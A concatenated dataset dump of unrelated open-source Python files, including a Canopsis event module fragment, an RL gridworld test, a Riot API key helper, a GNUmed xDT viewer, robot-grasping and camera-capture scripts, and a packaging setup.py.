timestamp:\n timestamp = int(time())\n\n if not component:\n component = getfqdn()\n if not component:\n component = gethostname()\n\n if not state:\n state = 0\n\n if not address:\n if bool(regexp_ip.match(component)):\n address = component\n if reverse_lookup:\n dns = None\n\n # get from cache\n try:\n (timestamp, dns) = dns_cache[address.replace('.', '-')]\n logger.info(\"Use DNS lookup from cache\")\n if (timestamp + cache_time) < int(time()):\n logger.info(\" + Cache is too old\")\n del dns_cache[address.replace('.', '-')]\n dns = None\n except Exception:\n logger.info(\" + '%s' not in cache\" % address)\n\n # reverse lookup\n if not dns:\n try:\n logger.info(\n \"DNS reverse lookup for '%s' ...\" % address)\n dns = gethostbyaddr(address)\n logger.info(\" + Succes: '%s'\" % dns[0])\n dns_cache[address.replace('.', '-')] = \\\n (int(time()), dns)\n except Exception:\n logger.info(\" + Failed\")\n\n # Dns ok\n if dns:\n # Split FQDN\n fqdn = dns[0]\n component = fqdn.split('.', 1)[0]\n if not domain:\n try:\n domain = fqdn.split('.', 1)[1]\n except Exception:\n pass\n\n if dns:\n logger.info(\" + Component: %s\" % component)\n logger.info(\" + Address: %s\" % address)\n logger.info(\" + Domain: %s\" % domain)\n\n dump = {\n 'connector': connector,\n 'connector_name': connector_name,\n 'event_type': event_type,\n 'source_type': source_type,\n 'component': component,\n 'timestamp': timestamp,\n 'state': state,\n 'state_type': state_type,\n 'output': output,\n 'long_output': long_output,\n }\n\n if entity:\n dump[Event.ENTITY] = entity\n\n if resource:\n dump[Event.SOURCE_TYPE] = Event.RESOURCE\n dump[Event.RESOURCE] = resource\n\n if author is not None:\n dump[\"author\"] = author\n\n if perimeter:\n dump[\"perimeter\"] = perimeter\n\n if keep_state:\n dump[\"keep_state\"] = keep_state\n\n if perf_data:\n dump[\"perf_data\"] = perf_data\n\n if perf_data_array:\n dump[\"perf_data_array\"] = perf_data_array\n\n if address:\n dump[\"address\"] = address\n\n if domain:\n dump[\"domain\"] = domain\n\n if tags:\n dump[\"tags\"] = tags\n\n if display_name:\n dump[\"display_name\"] = display_name\n\n if ticket:\n dump[\"ticket\"] = ticket\n\n if ref_rk:\n dump[\"ref_rk\"] = ref_rk\n\n if event_type == 'check' and resource:\n dump['component_problem'] = component_problem\n\n if kwargs:\n dump.update(kwargs)\n\n return dump\n\n\ndef get_routingkey(event):\n \"\"\"\n Build the routing key from an event.\n\n If the key 'resource' is present and != '', 'source_type' is forced to\n 'resource', otherwise 'component'.\n\n This function mutates the 'source_type' field if necessary.\n\n :raise KeyError: on missing required info\n \"\"\"\n event[Event.SOURCE_TYPE] = Event.COMPONENT\n if event.get(Event.RESOURCE, ''):\n event[Event.SOURCE_TYPE] = Event.RESOURCE\n\n rk = u\"{}.{}.{}.{}.{}\".format(\n event[Event.CONNECTOR],\n event[Event.CONNECTOR_NAME],\n event[Event.EVENT_TYPE],\n event[Event.SOURCE_TYPE],\n event[Event.COMPONENT]\n )\n\n if event.get(Event.RESOURCE, ''):\n rk = u\"{}.{}\".format(rk, event[Event.RESOURCE])\n\n return rk\n\n\ndef is_component_problem(event):\n if event.get(Event.RESOURCE, '') and event['state'] != 0:\n storage = get_storage(\n namespace='entities',\n account=Account(user='root', group='root')).get_backend()\n\n component = storage.find_one({\n 'type': 'component',\n 'name': event[Event.COMPONENT]\n })\n\n if component and 'state' in component and component['state'] != 0:\n return True\n\n return False\n\n\ndef is_host_acknowledged(event):\n if is_component_problem(event):\n storage = get_storage(\n namespace='entities',\n account=Account(user='root', group='root')).get_backend()\n\n ack = storage.find_one({\n 'type': 'ack',\n 'component': event[Event.COMPONENT],\n 'resource': None\n })\n\n if ack:\n return True\n\n return False\n","repo_name":"merouaneagar/canopsis","sub_path":"sources/canopsis/canopsis/event/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":7440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"2"} +{"seq_id":"1625494834","text":"class Sequence( object ) :\n \"\"\" Describe a sequence, used to know sequence of operation\"\"\"\n\n def __init__( self, operations ):\n\n self.stack = list()\n self.operations = list()\n\n # depth first search\n self.stack.append( operations )\n while len( self.stack ) != 0 :\n\n element = self.stack.pop()\n element.sequence = self\n self.operations.append( element )\n for child in element.children :\n self.stack.append( child )\n","repo_name":"coberger/PythonTestCern","sub_path":"testMockDirac/Sequence.py","file_name":"Sequence.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"900878688","text":"import pytest\nimport numpy as np\nfrom numpy.testing import assert_almost_equal\nfrom gridworld import Gridworld\n\n\n@pytest.fixture()\ndef gridworld():\n height = 5\n width = 5\n state_A = (0, 1)\n state_B = (0, 3)\n from_A = (4, 1)\n from_B = (2, 3)\n reward_leaving_state_A = 10\n reward_leaving_state_B = 5\n gamma = 0.9\n return Gridworld(height, width,\n state_A, state_B,\n from_A, from_B,\n reward_leaving_state_A, reward_leaving_state_B,\n gamma)\n\n\ndef test_get_state_value_correctly(gridworld):\n expected = np.array([[3.3, 8.8, 4.4, 5.3, 1.5],\n [1.5, 3.0, 2.3, 1.9, 0.5],\n [0.1, 0.7, 0.7, 0.4, -0.4],\n [-1.0, -0.4, -0.4, -0.6, -1.2],\n [-1.9, -1.3, -1.2, -1.4, -2.0]\n ])\n assert_almost_equal(np.round(gridworld.state_values, decimals=1), expected)\n\n\ndef test_get_optimum_state_value_correctly(gridworld):\n gridworld.build_optimum_state_value()\n expected = np.array([[22.0, 24.4, 22.0, 19.4, 17.5],\n [19.8, 22.0, 19.8, 17.8, 16.0],\n [17.8, 19.8, 17.8, 16.0, 14.4],\n [16.0, 17.8, 16.0, 14.4, 13.0],\n [14.4, 16.0, 14.4, 13.0, 11.7]\n ])\n assert_almost_equal(np.round(gridworld.state_values, decimals=1), expected)\n","repo_name":"staftermath/reinforcement_learning_an_introduction","sub_path":"tests/test_gridworld.py","file_name":"test_gridworld.py","file_ext":"py","file_size_in_byte":1465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"40891518813","text":"from riotwatcher import RiotWatcher, ApiError\nfrom misc import FileAccess\nfrom misc import Colors\n\n\ndef verify_api_key(api_key):\n while True:\n watcher = RiotWatcher(api_key)\n try:\n watcher.summoner.by_name('NA1', 'mintyorange')\n except ApiError as err:\n if err.response.status_code == 403 or 401:\n Colors.print_reset(Colors.WARNING + \"Invalid API key.\")\n Colors.print_reset(Colors.OKBLUE + \"Please enter a valid Riot API key:\")\n api_key = input()\n continue\n else:\n raise\n break\n FileAccess.write(\"api_key.txt\", api_key)\n return watcher\n\n\ndef get_watcher():\n api_key = FileAccess.read(\"api_key.txt\")\n if api_key is not None:\n Colors.print_reset(Colors.OKBLUE + \"Using api key from file...\")\n else:\n Colors.print_reset(Colors.OKBLUE + \"Please enter a valid Riot API key:\")\n api_key = input()\n return verify_api_key(api_key)\n\n\n\n","repo_name":"minorenji/RiotAPIExploration","sub_path":"api_object.py","file_name":"api_object.py","file_ext":"py","file_size_in_byte":1003,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"17902751993","text":"# -*- coding: utf-8 -*-\n\"\"\"GNUmed xDT viewer.\n\nTODO:\n\n- popup menu on right-click\n - import this line\n - import all lines like this\n - search\n - print\n - ...\n\"\"\"\n#=============================================================================\n__author__ = \"S.Hilbert, K.Hilbert\"\n\nimport sys, os, os.path, io, logging\n\n\nimport wx\n\n\nfrom Gnumed.wxpython import gmGuiHelpers, gmPlugin\nfrom Gnumed.pycommon import gmI18N, gmDispatcher\nfrom Gnumed.business import gmXdtMappings, gmXdtObjects\nfrom Gnumed.wxGladeWidgets import wxgXdtListPnl\nfrom Gnumed.wxpython import gmAccessPermissionWidgets\n\n\n_log = logging.getLogger('gm.ui')\n\n#=============================================================================\n# FIXME: this belongs elsewhere under wxpython/\nclass cXdtListPnl(wxgXdtListPnl.wxgXdtListPnl):\n\tdef __init__(self, *args, **kwargs):\n\t\twxgXdtListPnl.wxgXdtListPnl.__init__(self, *args, **kwargs)\n\n\t\tself.filename = None\n\n\t\tself.__cols = [\n\t\t\t_('Field name'),\n\t\t\t_('Interpreted content'),\n\t\t\t_('xDT field ID'),\n\t\t\t_('Raw content')\n\t\t]\n\t\tself.__init_ui()\n\t#--------------------------------------------------------------\n\tdef __init_ui(self):\n\t\tfor col in range(len(self.__cols)):\n\t\t\tself._LCTRL_xdt.InsertColumn(col, self.__cols[col])\n\t#--------------------------------------------------------------\n\t# external API\n\t#--------------------------------------------------------------\n\tdef select_file(self, path=None):\n\t\tif path is None:\n\t\t\troot_dir = os.path.expanduser(os.path.join('~', 'gnumed'))\n\t\telse:\n\t\t\troot_dir = path\n\t\t# get file name\n\t\t# - via file select dialog\n\t\tdlg = wx.FileDialog (\n\t\t\tparent = self,\n\t\t\tmessage = _(\"Choose an xDT file\"),\n\t\t\tdefaultDir = root_dir,\n\t\t\tdefaultFile = '',\n\t\t\twildcard = '%s (*.xDT)|*.?DT;*.?dt|%s (*)|*|%s (*.*)|*.*' % (_('xDT files'), _('all files'), _('all files (Win)')),\n\t\t\tstyle = wx.FD_OPEN | wx.FD_FILE_MUST_EXIST\n\t\t)\n\t\tchoice = dlg.ShowModal()\n\t\tfname = None\n\t\tif choice == wx.ID_OK:\n\t\t\tfname = dlg.GetPath()\n\t\tdlg.DestroyLater()\n\t\treturn fname\n\t#--------------------------------------------------------------\n\tdef load_file(self, filename=None):\n\t\tif filename is None:\n\t\t\tfilename = self.select_file()\n\t\tif filename is None:\n\t\t\treturn True\n\n\t\tself.filename = None\n\n\t\ttry:\n\t\t\tf = open(filename, 'r')\n\t\texcept IOError:\n\t\t\tgmGuiHelpers.gm_show_error (\n\t\t\t\t_('Cannot access xDT file\\n\\n'\n\t\t\t\t ' [%s]'),\n\t\t\t\t_('loading xDT file')\n\t\t\t)\n\t\t\treturn False\n\t\tf.close()\n\n\t\tencoding = gmXdtObjects.determine_xdt_encoding(filename = filename)\n\t\tif encoding is None:\n\t\t\tencoding = 'utf8'\n\t\t\tgmDispatcher.send(signal = 'statustext', msg = _('Encoding missing in xDT file. Assuming [%s].') % encoding)\n\t\t\t_log.warning('xDT file [%s] does not define an encoding, assuming [%s]' % (filename, encoding))\n\n\t\ttry:\n\t\t\txdt_file = io.open(filename, mode = 'rt', encoding = encoding, errors = 'replace')\n\t\texcept IOError:\n\t\t\tgmGuiHelpers.gm_show_error (\n\t\t\t\t_('Cannot access xDT file\\n\\n'\n\t\t\t\t ' [%s]'),\n\t\t\t\t_('loading xDT file')\n\t\t\t)\n\t\t\treturn False\n\n\t\t# parse and display file\n\t\tself._LCTRL_xdt.DeleteAllItems()\n\n\t\tself._LCTRL_xdt.InsertItem(index=0, label=_('name of xDT file'))\n\t\tself._LCTRL_xdt.SetItem(index=0, column=1, label=filename)\n\n\t\tidx = 1\n\t\tfor line in xdt_file:\n\t\t\tline = line.replace('\\015','')\n\t\t\tline = line.replace('\\012','')\n\t\t\tlength, field, content = line[:3], line[3:7], line[7:]\n\n\t\t\ttry:\n\t\t\t\tleft = gmXdtMappings.xdt_id_map[field]\n\t\t\texcept KeyError:\n\t\t\t\tleft = field\n\n\t\t\ttry:\n\t\t\t\tright = gmXdtMappings.xdt_map_of_content_maps[field][content]\n\t\t\texcept KeyError:\n\t\t\t\tright = content\n\n\t\t\tself._LCTRL_xdt.InsertItem(index=idx, label=left)\n\t\t\tself._LCTRL_xdt.SetItem(index=idx, column=1, label=right)\n\t\t\tself._LCTRL_xdt.SetItem(index=idx, column=2, label=field)\n\t\t\tself._LCTRL_xdt.SetItem(index=idx, column=3, label=content)\n\t\t\tidx += 1\n\n\t\txdt_file.close()\n\n\t\tself._LCTRL_xdt.SetColumnWidth(0, wx.LIST_AUTOSIZE)\n\t\tself._LCTRL_xdt.SetColumnWidth(1, wx.LIST_AUTOSIZE)\n\n\t\tself._LCTRL_xdt.SetFocus()\n\t\tself._LCTRL_xdt.SetItemState (\n\t\t\titem = 0,\n\t\t\tstate = wx.LIST_STATE_SELECTED | wx.LIST_STATE_FOCUSED,\n\t\t\tstateMask = wx.LIST_STATE_SELECTED | wx.LIST_STATE_FOCUSED\n\t\t)\n\n\t\tself.filename = filename\n\t#--------------------------------------------------------------\n\t# event handlers\n\t#--------------------------------------------------------------\n\tdef _on_load_button_pressed(self, evt):\n\t\tself.load_file()\n\t#--------------------------------------------------------------\n\t# plugin API\n\t#--------------------------------------------------------------\n\tdef repopulate_ui(self):\n#\t\tif self.filename is None:\n#\t\t\tself.load_file()\n\t\treturn\n#=============================================================================\nclass gmXdtViewerPanel(wx.Panel):\n\tdef __init__(self, parent, aFileName = None):\n\t\twx.Panel.__init__(self, parent, -1, style=wx.WANTS_CHARS)\n\n\t\t# our actual list\n\t\ttID = wx.NewId()\n\t\tself.list = gmXdtListCtrl(\n\t\t\tself,\n\t\t\ttID,\n\t\t\tstyle=wx.LC_REPORT | wx.SUNKEN_BORDER | wx.LC_VRULES\n\t\t)#|wx.LC_HRULES)\n\n\t\tself.list.InsertColumn(0, _(\"XDT field\"))\n\t\tself.list.InsertColumn(1, _(\"XDT field content\"))\n\n\t\tself.filename = aFileName\n\n\t\t# set up events\n\t\twx.EVT_SIZE(self, self.OnSize)\n\n\t\twx.EVT_LIST_ITEM_SELECTED(self, tID, self.OnItemSelected)\n\t\twx.EVT_LIST_ITEM_DESELECTED(self, tID, self.OnItemDeselected)\n\t\twx.EVT_LIST_ITEM_ACTIVATED(self, tID, self.OnItemActivated)\n\t\twx.EVT_LIST_DELETE_ITEM(self, tID, self.OnItemDelete)\n\n\t\twx.EVT_LIST_COL_CLICK(self, tID, self.OnColClick)\n\t\twx.EVT_LIST_COL_RIGHT_CLICK(self, tID, self.OnColRightClick)\n#\t\twx.EVT_LIST_COL_BEGIN_DRAG(self, tID, self.OnColBeginDrag)\n#\t\twx.EVT_LIST_COL_DRAGGING(self, tID, self.OnColDragging)\n#\t\twx.EVT_LIST_COL_END_DRAG(self, tID, self.OnColEndDrag)\n\n\t\twx.EVT_LEFT_DCLICK(self.list, self.OnDoubleClick)\n\t\twx.EVT_RIGHT_DOWN(self.list, self.OnRightDown)\n\n\t\tif wx.Platform == '__WXMSW__':\n\t\t\twx.EVT_COMMAND_RIGHT_CLICK(self.list, tID, self.OnRightClick)\n\t\telif wx.Platform == '__WXGTK__':\n\t\t\twx.EVT_RIGHT_UP(self.list, self.OnRightClick)\n\n\t#-------------------------------------------------------------------------\n\tdef Populate(self):\n\n\t\t# populate list\n\t\titems = self.__decode_xdt()\n\t\tfor item_idx in range(len(items),0,-1):\n\t\t\tdata = items[item_idx]\n\t\t\tidx = self.list.InsertItem(info=wx.ListItem())\n\t\t\tself.list.SetItem(index=idx, column=0, label=data[0])\n\t\t\tself.list.SetItem(index=idx, column=1, label=data[1])\n\t\t\t#self.list.SetItemData(item_idx, item_idx)\n\n\t\t# reaspect\n\t\tself.list.SetColumnWidth(0, wx.LIST_AUTOSIZE)\n\t\tself.list.SetColumnWidth(1, wx.LIST_AUTOSIZE)\n\n\t\t# show how to select an item\n\t\t#self.list.SetItemState(5, wx.LIST_STATE_SELECTED, wx.LIST_STATE_SELECTED)\n\n\t\t# show how to change the colour of a couple items\n\t\t#item = self.list.GetItem(1)\n\t\t#item.SetTextColour(wx.BLUE)\n\t\t#self.list.SetItem(item)\n\t\t#item = self.list.GetItem(4)\n\t\t#item.SetTextColour(wxRED)\n\t\t#self.list.SetItem(item)\n\n\t\tself.currentItem = 0\n\t#-------------------------------------------------------------------------\n\tdef __decode_xdt(self):\n\t\tif self.filename is None:\n\t\t\t_log.error(\"Need name of file to parse !\")\n\t\t\treturn None\n\n\t\txDTFile = fileinput.input(self.filename)\n\t\titems = {}\n\t\ti = 1\n\t\tfor line in xDTFile:\n\t\t\t# remove trailing CR and/or LF\n\t\t\tline = string.replace(line,'\\015','')\n\t\t\tline = string.replace(line,'\\012','') \n\t\t\tlength ,ID, content = line[:3], line[3:7], line[7:]\n\n\t\t\ttry:\n\t\t\t\tleft = xdt_id_map[ID]\n\t\t\texcept KeyError:\n\t\t\t\tleft = ID\n\n\t\t\ttry:\n\t\t\t\tright = xdt_map_of_content_maps[ID][content]\n\t\t\texcept KeyError:\n\t\t\t\tright = content\n\n\t\t\titems[i] = (left, right)\n\t\t\ti = i + 1\n\n\t\tfileinput.close()\n\t\treturn items\n\t#-------------------------------------------------------------------------\n\tdef OnRightDown(self, event):\n\t\tself.x = event.GetX()\n\t\tself.y = event.GetY()\n\t\titem, flags = self.list.HitTest((self.x, self.y))\n\t\tif flags & wx.LIST_HITTEST_ONITEM:\n\t\t\tself.list.Select(item)\n\t\tevent.Skip()\n\t#-------------------------------------------------------------------------\n\tdef getColumnText(self, index, col):\n\t\titem = self.list.GetItem(index, col)\n\t\treturn item.GetText()\n\t#-------------------------------------------------------------------------\n\tdef OnItemSelected(self, event):\n\t\tself.currentItem = event.ItemIndex\n\t#-------------------------------------------------------------------------\n\tdef OnItemDeselected(self, evt):\n\t\titem = evt.GetItem()\n\n\t\t# Show how to reselect something we don't want deselected\n#\t\tif evt.ItemIndex == 11:\n#\t\t\twxCallAfter(self.list.SetItemState, 11, wx.LIST_STATE_SELECTED, wx.LIST_STATE_SELECTED)\n\t#-------------------------------------------------------------------------\n\tdef OnItemActivated(self, event):\n\t\tself.currentItem = event.ItemIndex\n\t#-------------------------------------------------------------------------\n\tdef OnItemDelete(self, event):\n\t\tpass\n\t#-------------------------------------------------------------------------\n\tdef OnColClick(self, event):\n\t\tpass\n\t#-------------------------------------------------------------------------\n\tdef OnColRightClick(self, event):\n\t\titem = self.list.GetColumn(event.GetColumn())\n\t#-------------------------------------------------------------------------\n#\tdef OnColBeginDrag(self, event):\n#\t\tpass\n\t#-------------------------------------------------------------------------\n#\tdef OnColDragging(self, event):\n#\t\tpass\n\t#-------------------------------------------------------------------------\n#\tdef OnColEndDrag(self, event):\n#\t\tpass\n\t#-------------------------------------------------------------------------\n\tdef OnDoubleClick(self, event):\n\t\tevent.Skip()\n\t#-------------------------------------------------------------------------\n\tdef OnRightClick(self, event):\n\t\treturn\n\t\tmenu = wx.Menu()\n\t\ttPopupID1 = 0\n\t\ttPopupID2 = 1\n\t\ttPopupID3 = 2\n\t\ttPopupID4 = 3\n\t\ttPopupID5 = 5\n\n\t\t# Show how to put an icon in the menu\n\t\titem = wx.MenuItem(menu, tPopupID1,\"One\")\n\t\titem.SetBitmap(images.getSmilesBitmap())\n\n\t\tmenu.AppendItem(item)\n\t\tmenu.Append(tPopupID2, \"Two\")\n\t\tmenu.Append(tPopupID3, \"ClearAll and repopulate\")\n\t\tmenu.Append(tPopupID4, \"DeleteAllItems\")\n\t\tmenu.Append(tPopupID5, \"GetItem\")\n\t\twx.EVT_MENU(self, tPopupID1, self.OnPopupOne)\n\t\twx.EVT_MENU(self, tPopupID2, self.OnPopupTwo)\n\t\twx.EVT_MENU(self, tPopupID3, self.OnPopupThree)\n\t\twx.EVT_MENU(self, tPopupID4, self.OnPopupFour)\n\t\twx.EVT_MENU(self, tPopupID5, self.OnPopupFive)\n\t\tself.PopupMenu(menu, wxPoint(self.x, self.y))\n\t\tmenu.DestroyLater()\n\t\tevent.Skip()\n\t#-------------------------------------------------------------------------\n\tdef OnPopupOne(self, event):\n\t\tprint(\"FindItem:\", self.list.FindItem(-1, \"Roxette\"))\n\t\tprint(\"FindItemData:\", self.list.FindItemData(-1, 11))\n\t#-------------------------------------------------------------------------\n\tdef OnPopupTwo(self, event):\n\t\tpass\n\t#-------------------------------------------------------------------------\n\tdef OnPopupThree(self, event):\n\t\tself.list.ClearAll()\n\t\twx.CallAfter(self.PopulateList)\n\t\t#wxYield()\n\t\t#self.PopulateList()\n\t#-------------------------------------------------------------------------\n\tdef OnPopupFour(self, event):\n\t\tself.list.DeleteAllItems()\n\t#-------------------------------------------------------------------------\n\tdef OnPopupFive(self, event):\n\t\titem = self.list.GetItem(self.currentItem)\n\t\tprint(item.Text, item.Id, self.list.GetItemData(self.currentItem))\n\t#-------------------------------------------------------------------------\n\tdef OnSize(self, event):\n\t\tw,h = self.GetClientSize()\n\t\tself.list.SetDimensions(0, 0, w, h)\n#======================================================\nclass gmXdtViewer(gmPlugin.cNotebookPlugin):\n\t\"\"\"Plugin to encapsulate xDT list-in-panel viewer\"\"\"\n\n\ttab_name = _('xDT viewer')\n\trequired_minimum_role = 'non-clinical access'\n\n\t@gmAccessPermissionWidgets.verify_minimum_required_role (\n\t\trequired_minimum_role,\n\t\tactivity = _('loading plugin <%s>') % tab_name,\n\t\treturn_value_on_failure = False,\n\t\tfail_silently = False\n\t)\n\tdef register(self):\n\t\tgmPlugin.cNotebookPlugin.register(self)\n\t#-------------------------------------------------\n\n\tdef name(self):\n\t\treturn gmXdtViewer.tab_name\n\n\tdef GetWidget(self, parent):\n\t\tself._widget = cXdtListPnl(parent, -1)\n\t\treturn self._widget\n\n\tdef MenuInfo(self):\n\t\treturn ('tools', _('&xDT viewer'))\n\n\tdef can_receive_focus(self):\n\t\treturn True\n#======================================================\n# main\n#------------------------------------------------------\nif __name__ == '__main__':\n\tfrom Gnumed.pycommon import gmCfg2\n\n\tcfg = gmCfg2.gmCfgData()\n\tcfg.add_cli(long_options=['xdt-file='])\n\t#---------------------\n\t# set up dummy app\n\tclass TestApp (wx.App):\n\t\tdef OnInit (self):\n\n\t\t\tfname = \"\"\n\t\t\t# has the user manually supplied a config file on the command line ?\n\t\t\tfname = cfg.get(option = '--xdt-file', source_order = [('cli', 'return')])\n\t\t\tif fname is not None:\n\t\t\t\t_log.debug('XDT file is [%s]' % fname)\n\t\t\t\t# file valid ?\n\t\t\t\tif not os.access(fname, os.R_OK):\n\t\t\t\t\ttitle = _('Opening xDT file')\n\t\t\t\t\tmsg = _('Cannot open xDT file.\\n'\n\t\t\t\t\t\t\t'[%s]') % fname\n\t\t\t\t\tgmGuiHelpers.gm_show_error(msg, title)\n\t\t\t\t\treturn False\n\t\t\telse:\n\t\t\t\ttitle = _('Opening xDT file')\n\t\t\t\tmsg = _('You must provide an xDT file on the command line.\\n'\n\t\t\t\t\t\t'Format: --xdt-file=')\n\t\t\t\tgmGuiHelpers.gm_show_error(msg, title)\n\t\t\t\treturn False\n\n\t\t\tframe = wx.Frame(\n\t\t\t\tparent = None,\n\t\t\t\tid = -1,\n\t\t\t\ttitle = _(\"XDT Viewer\"),\n\t\t\t\tsize = wx.Size(800,600)\n\t\t\t)\n\t\t\tpnl = gmXdtViewerPanel(frame, fname)\n\t\t\tpnl.Populate()\n\t\t\tframe.Show(1)\n\t\t\treturn True\n\t#---------------------\n\tapp = TestApp ()\n\tapp.MainLoop ()\n\n#=============================================================================\n","repo_name":"Rednickle/gnumed","sub_path":"gnumed/gnumed/client/wxpython/gui/gmXdtViewer.py","file_name":"gmXdtViewer.py","file_ext":"py","file_size_in_byte":13544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"2"} +{"seq_id":"13940231355","text":"from env.single_robotic_arm import SingleRoboticArm\nimport numpy as np\n\ndef main():\n rob_arm = SingleRoboticArm()\n cam_name = 'vision_sensor'\n #extrinsic = rob_arm.get_camera_matrix(cam_name=cam_name)\n #print(extrinsic)\n #intrinsic = rob_arm.get_intrinsic_matrix()\n #print(intrinsic)\n #rgb = rob_arm.get_rgb(cam_name=cam_name)\n #print(rgb.shape)\n #depth = rob_arm.get_depth(cam_name=cam_name, near_plane=0.01, far_plane=0.5)\n #print(depth.shape)\n #masks = rob_arm.get_mask(cam_name=cam_name)\n\n '''\n cam_name = 'vision_sensor'\n rgb = rob_arm.get_rgb(cam_name=cam_name)\n depth = rob_arm.get_depth(cam_name=cam_name, near_plane=0.01, far_plane=0.5)\n rob_arm.naive_angle_grasp(rgb, depth, cam_name=cam_name)\n\n gripper_pose = np.array([[ 4.54187393e-05, -1.00000000e+00, 8.34465027e-06, -1.5510e-01],\n [-1.97768211e-04, -8.34465027e-06, -1.00000000e+00, -3.0250e-01],\n [ 1.00000000e+00, 4.54187393e-05, -1.97768211e-04, 0.329978],\n [ 0.00000000e+00, 0.00000000e+00, 0.00000000e+00, 1.00000000e+00]])\n\n rob_arm.movement(gripper_pose)\n '''\n\n init_pose = rob_arm.get_object_matrix(obj_name='UR5_ikTarget')\n\n cam_name = 'vision_sensor_gdn'\n rgb = rob_arm.get_rgb(cam_name=cam_name)\n depth = rob_arm.get_depth(cam_name=cam_name, near_plane=0.01, far_plane=1.5)\n #masks = rob_arm.get_mask(cam_name=cam_name)\n extrinsic = rob_arm.get_camera_matrix(cam_name=cam_name)\n #for mask in masks:\n rob_arm.visualize_image(None, depth, rgb)\n grasp_list = rob_arm.get_grasping_candidate(depth, extrinsic, 90, 90)\n grasp_matrix = grasp_list[0]\n #print(grasp_list)\n #rob_arm.run_grasp(grasp_list, 1, use_gdn = True)\n rob_arm.run_single_grasp(grasp_matrix, use_gdn=True)\n\n step_2_pose = np.array([[ 7.14063644e-05, -1.00000000e+00, 1.22785568e-05, 1.69920236e-01],\n [-2.97635794e-04, -1.23977661e-05, -1.00000000e+00, -4.69989717e-01],\n [ 1.00000000e+00, 7.14957714e-05, -2.97665596e-04, 2.22262397e-01],\n [ 0.00000000e+00, 0.00000000e+00, 0.00000000e+00, 1.00000000e+00]])\n step_2_rot = step_2_pose[:3, :3]\n grasp_matrix[:3, :3] = step_2_rot\n grasp_matrix[2, 3] += 0.2\n rob_arm.movement(grasp_matrix)\n\n rob_arm.movement(step_2_pose)\n rob_arm.open_gripper(True)\n\n rob_arm.finish()\n\n\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"luben3485/robot-peg-in-hole-task","sub_path":"vrep_test_script.py","file_name":"vrep_test_script.py","file_ext":"py","file_size_in_byte":2340,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"2"} +{"seq_id":"5201384287","text":"from distutils.core import setup\nimport setuptools # noqa\nfrom os import path\n\nthis_directory = path.abspath(path.dirname(__file__))\nwith open(path.join(this_directory, 'README.md'), encoding='utf-8') as f:\n long_description = f.read()\n\nexec(open('vasprun/version.py').read())\n\nsetup(\n name=\"vasprun-xml\",\n version=__version__,\n author=\"Qiang Zhu\",\n author_email=\"qiang.zhu@unlv.edu\",\n description=\"A python package for quick analysis of vasp calculation\",\n long_description = long_description,\n long_description_content_type = 'text/markdown',\n url=\"https://github.com/qzhu2017/vasprun\",\n packages=['vasprun'],\n scripts=['scripts/vasprun'],\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n ],\n install_requires=[\n 'lxml>=4.2.5', \n 'pandas>=0.23.4', \n 'numpy>=1.13.3', \n 'scipy>=1.1.0', \n 'matplotlib>=2.0.0',\n 'tabulate'],\n python_requires='>=3.6.1',\n license='MIT',\n)\n","repo_name":"MaterSim/vasprun","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"2"} +{"seq_id":"762860256","text":"import pypylon.pylon as py\nimport time\nimport os\nfrom pypylon._genicam import RuntimeException\n\n\ndef main():\n img = py.PylonImage()\n while True:\n tlf = py.TlFactory.GetInstance()\n devices = tlf.EnumerateDevices()\n if devices:\n camera = py.InstantCamera(py.TlFactory.GetInstance().CreateFirstDevice())\n print(\"Using device \", camera.GetDeviceInfo().GetModelName())\n\n camera.Open()\n camera.UserSetSelector = \"Default\"\n camera.UserSetLoad.Execute()\n\n camera.LineSelector = \"Line4\"\n camera.LineMode = \"Input\"\n camera.TriggerSelector = \"FrameStart\"\n camera.TriggerSource = \"Line4\"\n camera.TriggerMode = \"On\"\n\n camera.ExposureTime.SetValue(50000)\n camera.StartGrabbing(py.GrabStrategy_OneByOne)\n last_frame_time = 0\n root = os.path.join('C:\\\\', 'video_data')\n path = os.path.join(root, 'test')\n if not os.path.isdir(path):\n os.mkdir(path)\n frame_number = 0\n need_new = True\n\n try:\n while True:\n if camera.GetGrabResultWaitObject().Wait(0):\n camera.ExposureTime.SetValue(50000) # We dont actually need to set this again, its just so if\n # the camera is unplugged it will raise a RuntimeExcception. Then the code will chill until\n # the camera is plugged back in\n grab = camera.RetrieveResult(0, py.TimeoutHandling_Return)\n img.AttachGrabResultBuffer(grab)\n print(f'test frame = {frame_number}')\n if need_new:\n path = os.path.join(root, time.strftime(\"%Y-%m-%d_%H-%M-%S\"))\n os.mkdir(path)\n frame_number = 0\n need_new = False\n ipo = py.ImagePersistenceOptions()\n ipo.SetQuality(50)\n timestamp = str(grab.TimeStamp)\n zeros = ['0'] * (20 - len(timestamp))\n timestamp = ''.join(zeros) + timestamp\n img.Save(py.ImageFileFormat_Jpeg, os.path.join(path, timestamp + '.jpeg'), ipo)\n\n last_frame_time = time.time()\n frame_number += 1\n if time.time() - 5 > last_frame_time and not need_new:\n need_new = True\n except RuntimeException:\n print('camera disconnected (probably)')\n except KeyboardInterrupt:\n camera.StopGrabbing()\n camera.close()\n else:\n time.sleep(1)\n\nif __name__ == '__main__':\n main()\n","repo_name":"esutlie/behavior_code","sub_path":"camera.py","file_name":"camera.py","file_ext":"py","file_size_in_byte":2850,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"25008981755","text":"\"\"\"\ntest_itk_sitk_conversion.py\n\nCreated by: Michael Kuczynski\nCreated on: June 29, 2022\n\nDescription: Test conversion between ITK and SimpleITK.\n\"\"\"\n\nimport itk\nimport unittest\nimport numpy as np\nimport SimpleITK as sitk\n\nfrom ormir_xct.util.sitk_itk import 